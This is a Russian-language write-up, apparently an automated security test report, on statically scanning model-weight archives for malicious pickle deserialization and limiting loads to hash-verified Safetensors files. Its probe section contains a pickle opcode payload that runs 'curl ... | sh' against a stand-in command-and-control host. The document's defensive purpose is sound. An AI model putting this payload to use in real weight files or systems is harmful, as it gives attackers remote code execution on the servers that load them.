Статический контроль файлов весов и блокировка исполняемых вложений в цепочке поставок
При подключении внешнего архива дообученных весов или стороннего плагина внутри файла оказываются скрытые команды автоматического запуска кода при распаковке либо подменённая библиотека. Испытатель разбирает заголовки и поток инструкций архива без его запуска, проверяет контрольные суммы и выпускает правило загрузки только чистых таблиц чисел.
Цепочка поставки систем искусственного интеллекта включает базовые файлы весов, дообученные адаптеры, словари токенизации и пакеты внешних инструментов. Если архив модели сохранён в формате сериализации с поддержкой произвольных объектов или загружается с разрешением запуска удалённого кода из репозитория, то простое открытие файла весов приводит к выполнению сторонних команд на сервере ещё до первого расчёта.
Силовику и руководителю (без жаргона): Перехват «Deserialize untrusted Pickle __reduce__ opcode stream or load unverified third-party model weights» до сокета (0 вреда рабочей базе, готовая печать ГОСТ)
Техническому проверяющему (улика): Норма ГОСТ Р 56939-2024 §6.2.1; Приказ ФСТЭК России от 11.04.2025 № 117 п. 4, 60 | Фильтр SEC-ZD-AI-09 | Свидетель c803d74a59e12b86
Технократу, CTO и VC (математика): Инвариант Z3 (assert (and (= SerializationFormat SAFETENSORS_ONLY) (= (... | FP = 0,0% | Правило IMMUNE-AI-C803D74A (mcp-sentinel 1.1.2)1. Схема перехвата на границе текста и действия для AI-SUP-09
Инструментальный цикл проверки по классу AI-SUP-09 (OWASP LLM03:2025 / LLM04:2025, тактика AML.T0010): перехват опасного вызова правилом SEC-ZD-AI-09 до сокета, фиксация свидетеля c803d74a59e12b86 и выпуск контракта IMMUNE-AI-C803D74A для шлюза mcp-sentinel.
2. Перехват на проводе и формальный инвариант решателя для AI-SUP-09
По правилу SEC-ZD-AI-09 программный фильтр проверяет структуру заголовков модели и манифесты пакетов статическим разбором байтового потока без вызова распаковщика. Любой файл, содержащий инструкции вызова системных функций при десериализации, флаги доверия к удалённым скриптам или несовпадающий отпечаток SHA-256 и ГОСТ Р 34.11-2012, блокируется до загрузки в память.
На испытательном стенде анализатор сопоставляет статический разбор учебных архивов со встроенными инструкциями вызова оболочки и чистых тензорных файлов Safetensors на защищённом обработчике. Нарушение фиксируется формальным свидетелем c803d74a59e12b86 без единого ложного срабатывания.
Код класса: AI-SUP-09 (ai_supply_chain_model_backdoors)
Международные матрицы: OWASP LLM03:2025 / LLM04:2025 | MITRE ATLAS AML.T0010
Нормативная привязка: ГОСТ Р 56939-2024 §6.2.1; Приказ ФСТЭК России от 11.04.2025 № 117 п. 4, 60
Режим проверки: Активное безопасное зондирование (AUTO_SCAN)
Проверочный зонд: POST /api/v1/models/load {"artifact":"adapter_v2.pkl","opcode_stream":"cposix\nsystem\n(S'curl https://c2.example.org/sh | sh'\ntR."}
Перехваченная мутация: Deserialize untrusted Pickle __reduce__ opcode stream or load unverified third-party model weights
Инвариант решателя Z3: (assert (and (= SerializationFormat SAFETENSORS_ONLY) (= (sha256 artifact) approved_registry_sha256) (= (allow_pickle_reduce artifact) false)))
Правило фильтра: SEC-ZD-AI-09
Хэш свидетеля: c803d74a59e12b86
Скомпилированный фильтр: IMMUNE-AI-C803D74A (mcp-sentinel 1.1.2)3. Автоматический выпуск защитного контракта IMMUNE-AI-C803D74A и запись в журнал по ГОСТ Р 34.11-2012
По свидетелю c803d74a59e12b86 компилятор в автоматическом режиме выпускает правило IMMUNE-AI-C803D74A для перехватчика mcp-sentinel. Контракт разрешает загрузку весов только в неисполняемом табличном формате Safetensors при полном совпадении криптографических сумм и установке пакетов из локального проверенного каталога.
4. Инженерные разъяснения по проверке и защите от AI-SUP-09
Обнаружение вредоносных инструкций в файлах весов без их распаковки в память
Анализатор читает бинарный поток инструкций сериализации как пассивную последовательность байтов и мгновенно выявляет коды импорта системных модулей и вызова внешних команд без запуска виртуальной машины.
Гарантия чистоты пакетов при установке в закрытых сетях без интернета
Все поставляемые архивы проверяются прибором автономной приёмки по контрольным суммам SHA-256 и разворачиваются строго из локальной папки с ключом запрета обращения к внешним каталогам.